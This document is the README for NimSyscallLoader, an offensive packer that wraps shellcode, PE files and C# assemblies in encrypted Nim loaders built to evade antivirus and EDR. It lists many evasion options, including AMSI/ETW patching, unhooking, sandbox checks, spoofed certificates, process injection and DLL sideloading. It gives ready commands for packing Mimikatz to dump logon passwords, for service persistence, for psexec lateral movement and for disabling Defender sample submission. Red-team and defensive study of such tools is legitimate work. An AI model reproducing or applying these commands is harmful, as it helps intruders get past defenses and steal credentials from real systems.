This tool was made public after a talk at x33fcon. It was my private main coding project from 2021 - 2024 and it now considered deprecated and is not maintained anymore. Dont expect bug fixes or feature updates here from my side. Instead, RustPack is maintained now as a commercial and controlled version for vetted Red Teams and Pentesters which is even more feature rich but also much more OPSec save.

This Packer can be used to pack any C# Assembly, PE-File or Shellcode into a Nim binary. It will encrypt the target payload, build the corresponding Nim source code according to the given arguments and compiles it to an Nim binary.

Setup

A Video - if you prefer that - can be found here: https://youtu.be/0PwIn3Nxmgo

Windows

Git needs to be installed for Nim/Nimble to work properly.

Tested with Nim 2.2.10 and the MinGW-w64 GCC 11.1.0 bundle linked from the Nim Windows download page. Newer Nim releases default to a high PE image base on Windows, which breaks -static links with relocation truncated to fit: R_X86_64_32S against .bss; the packer now forces -Wl,--image-base=0x10000 to keep static builds working, so any MinGW-w64 11.x build should be fine. Only x64 is supported here — x86/--x86/--wow64 is not maintained.

Download Nim and MinGW (x86_64):
- nim-2.2.10_x64.zip
- mingw64.7z (linked from the Nim Windows install page)
Extract Nim with 7-Zip (not Windows' built-in Expand-Archive — it silently drops lib\system.nim because of the case-collision with the lib\system\ directory). The Nim zip ships bin\7zG.exe which you can use to extract MinGW.
Add <nim>\bin and <mingw64>\bin to your %PATH%. Logoff/logon (or restart your shell) for the change to take effect.
Install nimble dependencies:
```
nimble install nimcrypto@0.6.0 docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
```
Versions known to work (as of Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — the repo has no tagged releases).
Disable Windows Defender Sample Submission (the Packer refuses to run otherwise):
```
Set-MpPreference -SubmitSamplesConsent 2
```
Compile the Packer:
```
nim c NimSyscallLoader.nim
```

If you want to use the LLVM obfuscator on Windows, use the embedded modified denim version from denim. Install it via denim\denim.exe setup.

Linux

E.g. on Kali / Debian. The packer historically required nim 1.6.8 + mingw-64 8.0.0-1; with the static-link --image-base=0x10000 workaround now baked in, newer toolchains should work too. The Windows build is what's actively tested — Linux is best-effort.

apt-get install nim mingw-w64
nimble install nimcrypto@0.6.0 docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/

If --hellsgate fails to assemble on a newer mingw-w64, downgrade to mingw-64=8.0.0-1.

Install donut via pip3 install donut-shellcode. denim cannot be used from Unix so obfuscation via LLVM is not possible here. Same for Callobfuscator.

Compile the Packer via nim c -d:noRES NimSyscallLoader.nim. Ready to go. If you don't use -d:noRES you might get the following error:

/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.

Docker Setup

Needs to be built once (takes some time the first time, subsequent builds will be cached).

sudo docker build . -t nimsyscallloader

Then run the packer with:

sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe where $(pwd) is the directory on the host system that is shared with the container, i.e. the directory where the files to encrypt should be and where the output will be saved to.

Third party deps

If you want to make use of Code Signing certificates via LimeLighter you'll also need the following things installed and in your %PATH%: openssl - (for Windows) for example from here osslsigncode - for example from here

Third party tool support

I will not give Support for issues in the third party tools which are used here. So please open up an issue in the corresponsing repositories if you're facing problems with them. Third party tools in use:

You can either use my precompiled binaries or of course compile them your own from the above links.

Usage

A Video - if you prefer that - can be found here: https://youtu.be/UHaIgdzqHDA

I also added short videos for some features as this was requested:

Caro-Kann:

https://youtu.be/etAFZrIyb44

ThreadlessInject Feature:

https://youtu.be/eRS-4AywrHI

Module Stomping Feature:

https://youtu.be/l-TmqqQ49UI

shellcodeURL Feature:

https://youtu.be/OYxcL4D7K0c

stegoFile Feature:

https://youtu.be/Vr58_R4rYDA

shellcodeFile Feature:

https://youtu.be/Oj55uilxEF4

Ruy Lopez for local processes

https://youtu.be/8fBkRo1zlIM

Shellcode output format

https://youtu.be/ZTiZA2fg3WM

Assembly output feature

https://youtu.be/TDEJ-U18UIk

And I made a public Video showcasing how to customize ThreadlessInject technique to other processes than the default one:

https://youtu.be/BYuAUYQcI-E

NimSyscall_Loader v 2.2

Usage:
  NimSyscall_Loader [--file=file_to_encrypt --key=<key> --keyfile=<keyFile> --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output=<output> --large --metadata --shellcodeFile=<shellcodeFile> --shellcodeURL=<shellcodeURL> --dll --dllexportfunc=<exportfuncname> --dllhijack --noNimMain --clone=<dllToClone> --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess=<processname> --blockDLLs --spoofArgs=<ArgumentstoSpoof> --parentProcess=<parentName> --remoteprocess=<processnames> --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain=<targetdomain> --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain=<exampledomain> --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc=<exampleFunc> --dripallocate --dripsleep=<sleeptime-ms> --stegofile=<filepath> --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc=<dllfunc> --poolparty=<number> --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc=<dllfunc> --stombFunc2=<dllfunc2> --restore]
  NimSyscall_Loader (-h | --help)
  NimSyscall_Loader --version

Options:

[general]

  -h --help     Show this screen.
  --version     Show version.
  --file filename  File to encrypt.
  --key key     Key to encrypt with
    --keyfile keyfile  File to read key from
    --dnsKey    Use remote DNS TXT Record as key which is retrieved on runtime
      --dnsdomain sub.example.com    Specify a subdomain to use for the DNS TXT Record
  --environmentalKey value    Use environmental key (domain,username) to encrypt with
                              domain -> enumerate the current domain on runtime and use that as key
                              username -> enumerate the current username on runtime and use that as key
  --killdate yyyymmdd    Specify an date, after which the payload won't get executed anymore
  --output filename    Filename for encrypted exe/dll
  --arguments hardcodedArgs  compile the following arguments to the encrypted exe/dll
  --metadata    Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default)
  --noETW    Don't use ETW Patch
  --noAMSI    Don't patch AMSI
  --noArgs    Don't provide any arguments to the assembly (some can only run without args)
  --hide    Compile with --app:gui flag, so that the console won't pop up
  --APIhide    Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE'
  --reflective    Set compiler flags, so that the Loader Nim binary can be reflectively loaded
  --debug    Compiles the binary in debug mode
  --x86    Compiles an x86 binary
  --wow64    (Compiles a x86 binary that can be used by x64 CPUs)
  --large    use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it
  --noDInvoke    Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option.
  --verbose    Prints output to the console (for troubleshooting purposes)
  --psout    Powershell Output format, reflectively loading the packed binary
    --psobfs    Pre-obfuscated Powershell Template with Invoke-obfuscation.
    --pslyrics    Add Lyrics as comments to avoid some more detections
  --csout    C# Output format, reflectively loading the packed binary
  --scout    Shellcode Output format, reflectively loading the packed binary via donut
  --sourceonly    Dont compile but just create the source code and compile command
  --RWX    Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX)
  --service    Create a Service binary or DLL, which can be used for Lateral Movement or Persistence
  --stegofile filepath    Path to a .bmp or jpeg file in which the encrypted payload will be embedded

[Payload retrieval options]

  By default, the Loader will embed the Payload into the output file. There are two alternatives to this:
  --shellcodeFile shellcodefileLocation(s)    Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma.
  --shellcodeURL shellcodeURL    URL to retrieve Payload from

[DLL options]

  --dll     Generate DLL instead of an executable
      --dllexportfunc exportfuncname    Comma separated names of DLL custom export functions for e.g. DLL-Sideloading
      --dllhijack    Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking
      --perfectdllhijack    Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/)
      --noNimMain    Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain")
      --clone value    Specify a local DLL to clone the API-Exports from via Koppeling
      --mutexoneshot    Use a Mutex to ensure the payload is only executed once per process tree
      --dllProxy    Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload)
          --payloadFunction funcName    The function to execute the Payload with to not use DllMain
          --noRandom    Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs)
      --cpl    Generate a CPL file (Control Panel Applet) instead of an executable
      --xll    Generate an XLL file (Excel Add-In) instead of an executable

[evasion]

  --sleep 10    Sleep 10 seconds before decryption to evade memory scanners
  --sleep-in-between 10    Sleep 10 seconds at some potentially critical steps in between to evade memory scanners
  --COMVARETW    Block ETW by setting COMPlus_ETWEnabled to 0
  --unhook value    Unhook the specified DLL before doing anything else for the current process
  --obfuscate    Compile the Nim binary via Denim to make use of LLVM obfuscation
  --macPayload    Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only)
  --sgn    Encode shellcode via SGN before encrypting it
  --replace    Replace common nim IoC's in the loader like the string 'nim'
  --noOneShot    By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option.
  --PatchAMSI    Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls
  --PatchETW    Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls
  --AMSIProviderPatch    Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf)
  --AMSINtCreateSectionHook    Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
  --sandbox value    Include Sandbox Checks of your choice into the loader:
                     Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems
                     DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one
                     DiskSpace -> Only execute if c:\ disk space >= 200GB
                     MemorySpace -> Only execute if more than 4GB RAM available
                     Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that)
                     WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload
        --domain targetdomain    Specify a domain for SandBox Evasion
  --pump value    Pump the file with:
                  words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043)
                  reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others
  --self-delete    The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk)
  --obfuscatefunctions    Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS)
  --sign    Sign the binary with a spoofed certificate
      --signdomain www.example.com    The domain to use for the certificate (default is www.microsoft.com)
  --llvm    Add compiler flags for LLVM obfuscation, you have to set it up by yourself
  --sleepycrypt    Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager)
  --fluctuate    Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection
                 This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked
  --noAntidebug    Leave out AntiDebugger Checks
  --noDefaultSandBox    Leave out default Sandbox Checks
  --noAntiEmulate    Leave out AntiEmulation Checks
  --jmpEntry    This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode
    --jmpEntryDLL value    Specify a DLL to use for the custom Shellcode Entrypoint
    --jmpEntryFunc value    Specify a function to use for the custom Shellcode Entrypoint
  --ruy-lopez    Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)

[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]

  --hellsgate    Retrieve Syscalls via Hellsgate technique
  --syswhispers    Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique
        --jump    When using Syswhispers3, use the jumper_randomized technique

[shellcode specific]

  --shellcode    Encrypt shellcode to load it on runtime
  --dripallocate    Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers)
      --dripsleep 500    Sleep time in ms between each memory allocation (e.G. 500 milisec)
  --CallbackExecute    Execute shellcode via a custom Callback function
  --localCreateThread    Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode
  --QueueApc    Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread
  --noWait    Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect.
  --mapSection    Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process
  --remoteinject    Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection
      --customprocess procname    Spawn a custom process (instead of notepad) for remote injection
      --remoteprocess procname    Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name
                         Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge
      --spoofArgs ArgstoSpoof    Spoof the arguments of the process to inject into
      --parentProcess parentProcName    Name of the parent Process to spoof (PPID Spoofing)
      --blockDLLs    Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded
      --remotepatchAMSI    Patch AMSI in the remote process before shellcode execution
      --remotepatchETW    Patch ETW in the remote process before shellcode execution
  --threadless    Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject)
  --threadlessthread    Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC)
      --threadlessDll dllname    Specify a DLL to use for the Threadless inject hook
      --threadlessFunc dllfunc    Specify a function to use for the Threadless inject hook
  --poolparty number    Use Poolparty technique 1,2,3,4 for execution
  --conhostinject    Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar
  --Caro-Kann    Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann)
  --Caro-Kann-Thread   Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address
  --stomb    Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped.
      --stombDll dllname    Specify a DLL to use for the Module Stomping (default is 'chakra.dll')
      --stombFunc dllfunc    Specify a function to use for the Module Stomping
      --stombFunc2 dllfunc2    Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than
      --restore    Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.

[PE Packing]

  --peinject    Encrypt a PE to decrypt and run it on runtime as shellcode via donut
  --peload    Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE

[C# assembly Packing]

  --csharp    Encrypt a C# assembly to load it on runtime
  --interactivePS    Load an interactive unmanaged Powershell Runspace

By default, the Packer uses SandBox evasion and AntiDebug functionalities for every Payload. If you don't want them to be enabled (e.G. to remove their IoCs) or for any other reason you can use the flags --noAntidebug or --noDefaultSandBox. Every other SandBox check from the options will be added in addition to the existing ones and not as replacement.

All Payloads are by default executed in an RX memory region. Some Payloads won't work with READ_EXECUTE only. To use RWX instead you can enable that with the flag --RWX.

Also by default, Payloads are embedded in the resulting binary as encrypted array. This leads to high entropy and can also lead to detections by some AV/EDR vendors due to that. I recommend to instead use --shellcodeFile or --shellcodeURL to retrieve the Payload from a different file or Webserver on runtime. This also leads to SandBox Evasion as side-effect. For example when using:

NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.

If you`re not in a hurry, I can also recommend using the options `--sleep numberOfSeconds` and or `--sleep-in-between numberOfSeconds` for any Payload, as that will lead to memory Scan and or behaviour based detection bypasses.

To pack Mimikatz for example with unhooking before execution and without bypassing AMSI use the following:

```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject

Some of you had problems loading Mimikatz with the packer via "--file=Mimikatz --peload" arguments to afterwards issue custom commands on runtime.

I found the reason for this behaviour. Don't ask me why but you cannot just take the release from Github but have to compile Mimikatz on your own (or build a custom version) and load this instead of the official release. Also use --noAntidebug for Mimikatz as if not it has strange results (dont ask me why, other PE's are loaded fine).

If you still want to embed the release version from github you can directly pass arguments like this:

Packedmimikatz.exe coffee exit

You can also hardcode arguments for --peload, --csharp or --peinject payloads, e.g. the following would patch the command line arguments to be privilege::debug sekurlsa::logonpasswords exit:

NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug

Donut shellcode is detected by some AV/EDR vendors. As alternative for PE-Loading I modified my Nim-RunPE to use Syscalls for PE-Loading and integrated it here:

To pack Mimikatz for example and load it via syscall PE-Loader use the following:

NimSyscallLoader --file=mimikatz.exe --peload --RWX
(RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)

To pack Shellcode for local injection:

NimSyscallLoader --file=shellcode.bin --noAMSI

To load shellcode into a remote process:

NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe

To load a C# assembly:

NimSyscallLoader --file=Seatbelt.exe --csharp

To load a C# assembly with arguments:

NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'

To load a C# assembly and use hellsgate for Syscall retrieval :

NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate

To pack Shellcode for local injection + hellsgate usage + self-delete + sandbox checks:

NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace

To add several thousand english words to bypass "Machine learning" detections:

NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words

To use Syswhispers3 with/without jumper_randomized technique:

NimSyscallLoader --file=calc.bin --syswhispers
NimSyscallLoader --file=calc.bin --syswhispers --jump

To encode shellcode with sgn before encrypting:

NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn

To spawn a custom process and inject into that afterwards + Patch AMSI/ETW in the remote process:

NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW

To generate an DLL as output instead of an executable just add the --dll parameter. You can also define custom export functions via --dllexportfunc Export1,ExportFunc2. Theese custom exports can also be used for DLL sideloading.

LLVM description stolen from https://github.com/icyguider/Nimcrypt2 - I did not test this myself yet!

OPTIONAL: To use the Obfuscator-LLVM flag, you must have it installed on your system alongside wclang. I've found this to be a bit of a pain but you should be able to do it with a little perseverance. Here's a quick step-by-step that worked on my Kali Linux system:

Clone desired version of Obfuscator-LLVM and build it
Once compiled, backup the existing version of clang and move the new Obfuscator-LLVM version of clang to /usr/bin/
Install wclang and add it's binaries to your PATH
Backup existing clang library files, copy new newly built Obfuscator-LLVM library includes to /usr/lib/clang/OLD_VERSION/

In addition, you must add the following lines to your nim.cfg file to point nim to your wclang binaries:

amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"

Service binaries

Service binaries don't run on the fly. They can just be used for Windows Services. So if you're compiling a Service binary with --service you will need to create a new service with that binaries location. This can be done for example like this:

sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater

The Packer binaries can also be used for impacket-psexec Lateral Movement:

impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement

Service DLLs need additional configurations. You can read the following blog and need some Registry changes:

sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f

In addition the Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost - DcomLaunch value needs to be adjusted to also contain your Service name.

If you're receiving ERROR 1053 on Service start you will most likely have forgotten the last entry.

Handling Golang binaries with the Packer

My custom Nim-RUNPE implementatation unfortunately cannot handle GoLang binaries at the moment. That's some strange bug within Nim, have to investigate deeper sometime. Definitely a rabbit whole, already spent a lot of time.

For for the moment as workaround you can use --peinject --large to generate shellcode out of the golang binary to execute that either locally as executable or DLL.

Example:

NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe

or

NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll

You have to pass hardcoded arguments when using a DLL, because PEInject DLLs don't accept arguments from the target host. Remote injection is also possible but arguments cannot be hardcoded here.

Defender detects Golang Packed binaries at the moment, pretty sure because of the very HIGH entropy (big payloads, so the binary contains 95% or more encrypted content). To avoid theese detections use either a DLL or --pump with any value.

DLL-Sideloading

You can generate DLL-Sideloading capable Payloads with the flag --clone DLLName.

For example the following would generate a version.dll with the API Exports of the original Windows version.dll:

NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll

This could be used for various legitimate signed binaries for Sideloading, such as OneDriveUpdater.exe, slllauncher.exe and more. Some points are important to note and you should take care yourself about them:

Using Shellcode with Exitfunction=Process will most likely lead to a crash in the Host binary
Using local injection will lead to a not starting binary, as the DLL will not finish with execution for C2-Payloads
There currently is a bug or Problem with C# payloads and Nim Sideloading. Those payloads are simply not executed when run locally (--csharp or --peinject), have to investigate
I cannot recommend using Nim DLL Sideloading Payloads with Teams.exe - had strange behaviours here for certain DLLs and Teams didn't start anymore in many cases. It's also detected by many EDR vendors in the meanwhile
TEST your payloads before using them.

Take your time to search for custom Sideloading binaries or use some of the known documented ones from a location such as https://hijacklibs.net/.

Custom Images or meta data

If you want to use custom Icons for your loader executables or custom metadata, you should change the cmd.rc file in the resources folder.

That can be compiled to an cmd.o file via windres cmd.rc -o cmd.o. You can also just replace the demo.ico file with any other ICON file you want to use.

For DLL metadata you can change DLL.rc.

Other Entropy detections or alternative SandBox Evasion

Some vendors, such as ESET flag binaries/dlls due to the encrypted Payload being in the binary as blob with high entropy. Theese kind of detections and or SandBox checks can get bypassed with the flags --shellcodeFile or --shellcodeURL, as the Payload is than not embedded in the resulting binary anymore but loaded from a separate file or from a remote Webserver.

ThreadlessInject - stuff to care for

If you want to use ThreadlessInject - you should know what youre doing. As its hooking an API in the remote process, this technique needs to be adjusted for each different remote process. You first need to know, which APIs are typically called regularly by the remote process to know what to hook. You can for example monitor this for common windows processes via API Monitor. Adjust the hook to your target process, or the Payload won't execute.

The default values are only useful for the builtin spawn/inject rundll32.exe target, as this process regularly calls NtWaitForMultipleObjects from ntdll.dll. Other processes also call this function, but the recommendation here is to adjust the options to your target process.

Module Stomping - stuff to care for

Module stomping gives us the advantage of not allocating memory for shellcode injection anymore, as we overwrite (a part) of the .text section from an already loaded DLL. If the DLL was not loaded already in the remote target process, it will get force loaded first over Creating a remote Thread on LoadLibrary or when using ThreadlessInject over an hook pointing to custom LoadLibrary-Shellcode. By default, the DLL chakra.dll is used for Stomping, which is in the most cases suitable due to it`s size. However, you can change the DLL via Packer parameters however you like.

To avoid CFG, the current implementation overwrites one (or with Caro-Kann enabled two) DLL entrypoints:

JsRunScript
MemProtectHeapUnprotectCurrentThread

If you change the DLL, you will also need to change the target function names, as they might not exist on other DLLs. Also, it could be a problem if there is either

Not enough space in the .text section of the target DLL for your Shellcode
Not enough space between the two functions in the .text section, so that the first is overwritten by the second

My code does not handle this situations and currently doesn`t check for them. So you should check the sizes and offsets before using it in production to be sure.

Also, might be obvious for some of you but servers use different DLLs than clients. The Loader/Tool therefore need to be adjusted when targeting Servers.

This Module Stomping implementation also does not load the DLL via LoadLibraryEx with DONT_RESOLVE_DLL_REFERENCES. This is the more unstable way of doing it, but I still implemented it this way to get rid of EDR detections for specific IoCs from this API usage. For more information read this blog post:

https://bruteratel.com/release/2023/03/19/Release-Nightmare/

Memory encryption

Currently, the Packer has two memory encryption techniques embedded. It's either --fluctuate for ShellcodeFluctuation or --sleepycrypt for SleepyCrypt.

ShellcodeFluctuation can currently only be used for C2-Payloads, that use Win32 Sleep as it hooks this function. In this case only the Shellcode will get encrypted in the stack everytime the implant sleeps.

SleepyCrypt will not only encrypt the Shellcode but the whole PE-Stack, meaning all sections of it. The downside is, that the encryption is independent of your implant and will take place in a fixed time value, e.g. 10 secconds encryption and one seccond execution time. This may lead to problems with execution for some C2-Frameworks.

Why is my MSF- or CobaltStrike or XxX still flagged?

Read this: https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/

Known Bugs

Using --hellsgate on Linux systems with a never mingw-gcc version will fail to compile
Compile the Packer on Linux/Debian with -d:noRES to avoid compiler errors
--syswhispers --jump in combination with --peload results in a crash. For the moment I can only recommend to not use this option as I have no clue where this sideeffect comes from
--obfuscate cannot handle ASM-Stubs well and therefore cannot compile binaries with --hellsgate or --syswhispers
XP/WS2k3 will only work with the flags --syswhispers --noAntidebug --noDInvoke
--x86 / --wow64 is no longer maintained and currently broken with the bundled (non-multilib) MinGW-w64 toolchain. Use x64 builds.
Newer MinGW-w64 linkers (11+) default to a high PE image base which breaks -static links with relocation truncated to fit: R_X86_64_32S against .bss. The packer now passes -Wl,--image-base=0x10000 to the generated Loader compile command to work around this. If you build standalone Nim+static binaries with this stack you may need the same flag.

TO-DO

PELoader via syscalls
Hellsgate support
Load only the needed Winim libraries
Remote process AMSI/ETW Patching based on SnD_AMSI
Use Syscalls for remote patching
Remotely load the "to patch" DLL (ntdll or amsi.dll) into the remote process before patching (otherwise it won't help us)
Hellsgate support for remote shellcode injection + PELoading
DLL output
DLL Sideloading capabilities
Powershell output
C# output
More syscalls and or D/Invoke for win32 functions
Cobalt Strike integration - CNA
Passing parameters via e.g. manipulation of the PEB field (Command line spoofing like)
Passing parameters via API import function patching
Shellcode memory encryption via Sleep Hook ShellcodeFluctuation like
Calling the ‘GetConsoleWindow’ and ‘ShowWindow’ Windows function after the process is created and the EDR’s hooks are loaded, and then changes the windows attributes to hidden instead of GUI compile flags
More sleeps in between some potentially critical stubs
Define custom remote process to spawn before injecting into it (atm it's hardcoded notepad)
PPID Spoofing for newly created processes
BlockDLLs for new processes
Patchless AMSI bypass (e.g. https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
AMSI bypass via NtCreateSection Hook (e.g. https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
More ETW Patching for EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull
Service binary support, like https://github.com/enthus1ast/nimWindowsService/
DLL hijacking switch for DLLMain with process attach
Fix x86 casting bugs
Wow64 Support
Add --pump null bytes in between like https://gitlab.com/ORCA000/entropyfix (Have to test, may cause crashes)
CPL Output files
Decoy HTTP requests option
Download Shellcode from Webserver or read it from local file as alternative to embedding (default)
Use more compiler flags to overwrite dynlib to avoid Function IoCs plus reduze size -d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll
Use cloned Handles instead of OpenProcess (Handlekatz like) for remote process injection or as alternative Handle Elevation
Handle elevation
Add ThreadlessInject for Remote Injection
Add Callback execution primitives for remote injection via a Nim Port of https://github.com/lem0nSec/CreateRemoteThreadPlus
Store Payloads as MAC or IP-Adresses and retrieve the encrypted Payload on runtime to decrease entropy
Add multiple Jumps for different regions in the Thread start address (DripLoader like) to avoid memory scan detections (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)

CREDITS

@WhyDee86 - Sleep function + remote process Library module + hardcoded arguments initial code
@chvancooten - Custom strenc + Inspiration from his Nim Packer
@lefayjey - DLL Output + CNA Script contribution
@d35ha - CallObfuscator
@klezVirus - NimlineWhispers3
@TheWover - Donut
@icyguider - Inspiration
Tylous - LimeLighter
Mr-Un1k0d3r - 1 byte AMSI / ETW Patch + SandBox Evasion ideas
glynx - Nim-RunPE hardcoded arguments Pull Request
moloch-- - Denim
EdgeBalci - SGN
monoxgas - Koppeling
eversinc33 - BouncyGate, Docker File
OffenseTeacher - Steganim
OtterHacker - Stomb+Threadless inject idea
DrDv - CommandLine Generator

Legal disclaimer:

